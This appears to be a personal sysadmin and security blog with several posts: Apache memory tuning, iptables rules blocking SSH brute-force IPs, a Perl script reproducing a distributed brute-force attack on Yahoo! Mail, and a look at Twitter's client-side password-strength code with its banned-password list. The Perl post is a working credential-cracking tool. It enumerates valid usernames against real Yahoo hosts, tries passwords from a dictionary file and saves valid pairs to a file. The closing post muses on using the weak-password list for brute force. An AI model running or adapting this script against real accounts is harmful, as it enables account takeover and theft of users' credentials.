apache high memory use

I kept getting alert about low memory. After some digging, it turns out apache eats most of my memory.

I experimented with ab, and monitored memory change with top, sort by memory (by pressed M, also wrote configuration with W to

~/.toprc

). Disabled couple un-used modules seem to lower the level of memory use by apache2, I will need to keep an eye on monitoring them.

To list enabled modules,

apache2 -t -D DUMP_MODULES|more

To disable a module

a2dismod module_name

To enable a module

a2enmod module_name

Block brute force attacks with iptables

I was checking my server logs today and found there are quite a lot of ssh brute force attempts recently, I did a quick grep

sudo grep 'invalid' /var/log/auth.log*|grep -v ";"|wc -l

And returns 2595. Looking further into this, turns out they are initialized by 43 unique IPs, 27 of them have more than 5 failure attempts.

username@host$ sudo grep 'invalid' /var/log/auth.log*|awk '{print $13}'|grep -v ";"|uniq -c -d|sort -n -r
    921 222.73.216.14
    447 213.135.111.248
    173 210.1.27.211
     97 89.202.2.46
     88 201.101.6.182
     80 213.175.195.184
     77 94.88.127.100
     61 85.18.113.158
     55 85.21.139.69
     55 61.129.60.23
     47 213.135.111.248
     39 200.55.199.117
     36 202.131.227.27
     25 218.202.225.69
     24 85.18.113.158
     18 220.164.144.133
     15 219.143.216.108
     14 210.99.39.150
     13 190.223.40.154
     13 189.75.180.183
     10 213.135.111.248

Interesting! What I did was to block all the ones with >= 10 failure attempts with iptables. I piped the ones greater than 10 into a text file and then use the below one-liner to append to the iptables.

for i in `cat blacklisted_ips`;	
   do sudo iptables -A INPUT -s $i -j DROP
done

rm blacklisted_ips

Certainly you can be more specific such as blocking these IPs from ssh or web. I just don't like to see them touch my box.

the above commands only apply to the ones attacked my box before, it however has nothing to do with any new ones.

Here is an easy solution:

sudo iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW -m recent --set --name SSH
sudo iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 90 --hitcount 10 --rttl --name SSH -j DROP

The rules are pretty self-explanatory, give it a try if you have no clue what they do

"Distributed Brute Force Attacks Against Yahoo! Mail", an attempt to reproduce the attack

Ryan Barnett from Breach Security posted a very detailed distributed brute force attacks against yahoo on his blog. He did a superb job on introducing the problem, analyzing the attacks and proposing defensive takeaways.

I took some time to put up a simple perl script to attempt to simulate the attack, the script is very straight forward: it reads username and password files from two separate files. Constructs a malicious url from an array of randomized Yahoo! mail hosts (current hard coded, a better way will be to retrieve the list with google hack).

Warning: This script is written for experimental/educational purpose only and share it for educational purpose. I am not responsible and liable for any destructive behavior(s).
#!/usr/bin/perl -w
use LWP;

# @TODOs:
# - Add proxy support
# - Add password cracking support for dictionary and bruteforcing
# - Add retry function when randomized IP fails
# - Threading
# Credit goes to Ryan Barnett

# List of possible Yahoo Mail IP addresses
my @ips = (
        "119.160.244.89",
        "login.bjs.yahoo.com",
        "login.india.yahoo.com",
        "209.191.92.100",
        "209.191.92.82",
        "202.86.7.118"
);

# ERROR Codes
my @err_msgs = (
        "OK:0:",
        "ERROR:101:Invalid Password",
        "ERROR:102:Invalid Login",
        "ERROR:210:Required fields missing (expected l,p)"
);

my $url = "http://".$ips[rand @ips]."/config/isp_verify_user?l=";
my $tempurl = $url;
my $browser = LWP::UserAgent->new;

# @return array of valid users that will be used to perform password cracking
sub list_username {
        open(user_dict, "username") or die "unable to open file \n";
        @usernames = <user_dict>;
        close(user_dict);
        chomp @usernames;

        @valid_users = ();
        if($#usernames >= 0){

                print "\n";
                foreach $username (@usernames){
                        #print $username."\n";
                        $url .= $username."&p=Misty";
                        #print "Trying $url";
                        my $response = $browser->get(
                                $url,
                                'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)',
                                'Accept' => 'image/gif, image/x-xbitmap, image/jpeg,
                                image/pjpeg, image/png, */*',
                                'Accept-Charset' => 'iso-8859-1,*,utf-8',
                                'Accept-Language' => 'en-US'
                        );

                        # If a valid user name is found, add it into a temp array
                        if($response->status_line eq "200 OK" && $response->content=~ m/$err_msgs[1]/) {
                                print "$username exists (".$response->content. ")\n";
                                push @valid_users, $username;
                        }
                }
        }
        else{
                print "No username is found is the file";
        }
        @valid_users;
}
list_username();

sub crack_pass{
        open(pass_dict, "pass") or die "unable to open file \n";
        @passwords = ;
        close(pass_dict);
        chomp @passwords;

        # O(n^2), need to optimize the runtime
        foreach $v_u (@valid_users){
                print "\nUser $v_u:\n";
                foreach $password (@passwords){
                        $tempurl = "http://".$ips[rand @ips]."/config/isp_verify_user?cookies=1&l=".$v_u."&p=".$password;
                        print $tempurl;
                        my $response = $browser->get(
                                $tempurl,
                                'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)',
                                'Accept' => 'image/gif, image/x-xbitmap, image/jpeg,
                                image/pjpeg, image/png, */*',
                                'Accept-Charset' => 'iso-8859-1,*,utf-8',
                                'Accept-Language' => 'en-US'
                        );

                        # If a valid user name is found, add it into a temp array
                        if($response->status_line eq "200 OK" && $response->content=~ m/$err_msgs[0]/){
                                print "\nCongratulations: $password is valid\n";
                                open(CREDENTIAL, '>>', "credential") or die "unable to write to file";
                                print CREDENTIAL "$v_u:$password\n";
                        }else{
                                print "\n";
                                print "Invalid Password: $password (".$response->content.")\n";
                        }
                        sleep 2;
                }
        }
}
crack_pass();

I wrote this script back in Sept 09, and successfully cracked some of the dummy accounts I created (for testing purpose). It also seems like Yahoo! has fixed the problem, so I feel safe to publish the script. Again, I don't take any legal responsibility and you are responsible for all of your actions.

how twitter detects password strength & weak password list

I was on the fence of whether to sign up a twitter account, one message caught my eyes during sign up: Too obvious, when I typed 1234567 in the password field. It made me wonder how twitter detects password strength.

Below are (stub) its client-side (in javascript) implementation detecting password strength,

In short, its password policies are:

  • minimal length 6
  • your typed password (after concerted to lower case) is not in their weak password list
  • a simple, custom function (function D) to test your password strength, that looks up for a list of meta characters like #,$,%,^,&,*,?,_,~,

The most important interesting part is it pre-fetches a list of weak password, I am not sure where it is from, probably base upon their analysis of failed attempts. You can find this list the bottom of this page.

function I(K) {
    var M = 0;
    var L = B.minlength ? B.minlength : 6;
    <!-- 
   // If less than 6 characters, display too short -->
    if (K.length < L) {
        return {
            score: K.length,
            message: _("Too short"),
            className: "password-invalid"
        }
    }
     <!-- 
    // convert password into lower case, and marks as invalid if it equals username -->
    if (B.username) {
        var N = (typeof(B.username) == "function") ? B.username() : B.username;
        if (N && (K.toLowerCase() == N.toLowerCase())) {
            return {
                score: 0,
                message: _("Too obvious"),
                className: "password-invalid"
            }
        }
    }
    
    <!-- 
    // Checks against its list of BANNED_PASSWORDS and marks input password as invalid if it matches any of the banned password -->
    if ($.inArray(K.toLowerCase(), twttr.BANNED_PASSWORDS) != -1) {
        return {
            score: 0,
            message: _("Too obvious"),
            className: "password-invalid"
        }
    }
   
    <!-- //enlarges length to 4 times larger, stick into a variable -->
    M += K.length * 4;

    <!-- //Removes duplicated chars -->
    M += (D(1, K).length - K.length) * 1;
    M += (D(2, K).length - K.length) * 1;
    M += (D(3, K).length - K.length) * 1;
    M += (D(4, K).length - K.length) * 1;

    <!-- //start to detect password strength-->
  
    <!-- number: increases 5 to the password strength -->
    if (K.match(/(.*[0-9].*[0-9].*[0-9])/)) {
        M += 5
    }

    <!-- //meta char: increases 5 to the password strength -->
    if (K.match(/(.*[!,@,#,$,%,^,&,*,?,_,~].*[!,@,#,$,%,^,&,*,?,_,~])/)) {
        M += 5
    }

     <!-- //lower, upper char: increases 5 to the password strength -->
    if (K.match(/([a-z].*[A-Z])|([A-Z].*[a-z])/)) {
        M += 10
    }
    if (K.match(/([a-zA-Z])/) && K.match(/([0-9])/)) {
        M += 15
    }
    <!-- //Both meta char and number, add 15 -->
    if (K.match(/([!,@,#,$,%,^,&,*,?,_,~])/) && K.match(/([0-9])/)) {
        M += 15
    }

    <!-- //meta char & alpha, add 15 -->
    if (K.match(/([!,@,#,$,%,^,&,*,?,_,~])/) && K.match(/([a-zA-Z])/)) {
        M += 15
    }
    
     <!-- //alpha or digits only, minus 10 -->
    if (K.match(/^\w+$/) || K.match(/^\d+$/)) {
        M -= 10
    }
    <!-- //reset to 0 if strength less than 0 -->
    if (M < 0) {
        M = 0
    }
    <!-- //reset to 100 if strength great than 0 -->
    if (M > 100) {
        M = 100
    }

    <!-- //Assign different messages according to the strength level -->
    if (M < 34) {
        return {
            score: M,
            message: _("Weak"),
            className: "password-weak"
        }
    }
    if (M < 50) {
        return {
            score: M,
            message: _("Good"),
            className: "password-good"
        }
    }
    if (M < 75) {
        return {
            score: M,
            message: _("Strong"),
            className: "password-strong"
        }
    }
    return {
        score: M,
        message: _("Very Strong"),
        className: "password-verystrong"
    }
}

function D(L, O) {
    var K = "";
    for (var N = 0; N < O.length; N++) {
        var P = true;
        for (var M = 0; M < L && (M + N + L) < O.length; M++) {
            P = P && (O.charAt(M + N) == O.charAt(M + N + L))
        }
        if (M < L) {
            P = false
        }
        if (P) {
            N += L - 1;
            P = false
        } else {
            K += O.charAt(N)
        }
    }
    return K
}

Here is its list of weak password, looks fairly interesting! From the development and performance perspective, it does't make any sense to that pre-loading this password list rather than trying similar approach like checking username availability, that makes an ajax call to the server. Anyway, I think it serve as a good list of weak passwords to security guys to add in their arsenal.

twttr.BANNED_PASSWORDS = ["111111", "11111111", "112233", "121212", "123123", "123456", "1234567", "12345678", "131313", "232323", "654321", "666666", "696969", "777777", "7777777", "8675309", "987654", "aaaaaa", "abc123", "abc123", "abcdef", "abgrtyu", "access", "access14", "action", "albert", "alexis", "amanda", "amateur", "andrea", "andrew", "angela", "angels", "animal", "anthony", "apollo", "apples", "arsenal", "arthur", "asdfgh", "asdfgh", "ashley", "asshole", "august", "austin", "badboy", "bailey", "banana", "barney", "baseball", "batman", "beaver", "beavis", "bigcock", "bigdaddy", "bigdick", "bigdog", "bigtits", "birdie", "bitches", "biteme", "blazer", "blonde", "blondes", "blowjob", "blowme", "bond007", "bonnie", "booboo", "booger", "boomer", "boston", "brandon", "brandy", "braves", "brazil", "bronco", "broncos", "bulldog", "buster", "butter", "butthead", "calvin", "camaro", "cameron", "canada", "captain", "carlos", "carter", "casper", "charles", "charlie", "cheese", "chelsea", "chester", "chicago", "chicken", "cocacola", "coffee", "college", "compaq", "computer", "cookie", "cooper", "corvette", "cowboy", "cowboys", "crystal", "cumming", "cumshot", "dakota", "dallas", "daniel", "danielle", "debbie", "dennis", "diablo", "diamond", "doctor", "doggie", "dolphin", "dolphins", "donald", "dragon", "dreams", "driver", "eagle1", "eagles", "edward", "einstein", "erotic", "extreme", "falcon", "fender", "ferrari", "firebird", "fishing", "florida", "flower", "flyers", "football", "forever", "freddy", "freedom", "fucked", "fucker", "fucking", "fuckme", "fuckyou", "gandalf", "gateway", "gators", "gemini", "george", "giants", "ginger", "golden", "golfer", "gordon", "gregory", "guitar", "gunner", "hammer", "hannah", "hardcore", "harley", "heather", "helpme", "hentai", "hockey", "hooters", "horney", "hotdog", "hunter", "hunting", "iceman", "iloveyou", "internet", "iwantu", "jackie", "jackson", "jaguar", "jasmine", "jasper", "jennifer", "jeremy", "jessica", "johnny", "johnson", "jordan", "joseph", "joshua", "junior", "justin", "killer", "knight", "ladies", "lakers", "lauren", "leather", "legend", "letmein", "letmein", "little", "london", "lovers", "maddog", "madison", "maggie", "magnum", "marine", "marlboro", "martin", "marvin", "master", "matrix", "matthew", "maverick", "maxwell", "melissa", "member", "mercedes", "merlin", "michael", "michelle", "mickey", "midnight", "miller", "mistress", "monica", "monkey", "monkey", "monster", "morgan", "mother", "mountain", "muffin", "murphy", "mustang", "naked", "nascar", "nathan", "naughty", "ncc1701", "newyork", "nicholas", "nicole", "nipple", "nipples", "oliver", "orange", "packers", "panther", "panties", "parker", "password", "password", "password1", "password12", "password123", "patrick", "peaches", "peanut", "pepper", "phantom", "phoenix", "player", "please", "pookie", "porsche", "prince", "princess", "private", "purple", "pussies", "qazwsx", "qwerty", "qwertyui", "rabbit", "rachel", "racing", "raiders", "rainbow", "ranger", "rangers", "rebecca", "redskins", "redsox", "redwings", "richard", "robert", "rocket", "rosebud", "runner", "rush2112", "russia", "samantha", "sammy", "samson", "sandra", "saturn", "scooby", "scooter", "scorpio", "scorpion", "secret", "sexsex", "shadow", "shannon", "shaved", "sierra", "silver", "skippy", "slayer", "smokey", "snoopy", "soccer", "sophie", "spanky", "sparky", "spider", "squirt", "srinivas", "startrek", "starwars", "steelers", "steven", "sticky", "stupid", "success", "suckit", "summer", "sunshine", "superman", "surfer", "swimming", "sydney", "taylor", "tennis", "teresa", "tester", "testing", "theman", "thomas", "thunder", "thx1138", "tiffany", "tigers", "tigger", "tomcat", "topgun", "toyota", "travis", "trouble", "trustno1", "tucker", "turtle", "twitter", "united", "vagina", "victor", "victoria", "viking", "voodoo", "voyager", "walter", "warrior", "welcome", "whatever", "william", "willie", "wilson", "winner", "winston", "winter", "wizard", "xavier", "xxxxxx", "xxxxxxxx", "yamaha", "yankee", "yankees", "yellow", "zxcvbn", "zxcvbnm", "zzzzzz"];

I also noticed there are some duplications in this list, which I don't have a clue of why. Let's see

<!-- From http://www.martienus.com/code/javascript-remove-duplicates-from-array.html -->
function unique(a) {
    var r = new Array();
    o: for (var i = 0, n = a.length; i < n; i++) {
        for (var x = 0, y = r.length; x < y; x++) {
            if (r[x] == a[i]) continue o;
        }
        r[r.length] = a[i];
    }
    return r;
}

>>> unique(BANNED_PASSWORDS).length
381
>>> BANNED_PASSWORDS.length
386

>>> show_duplicated(BANNED_PASSWORDS)
abc123
asdfgh
letmein
monkey
password

So, I wonder, if someone write a brute force script by loading this list, how many of early twitter user accounts will be comprised?

^ Top of Page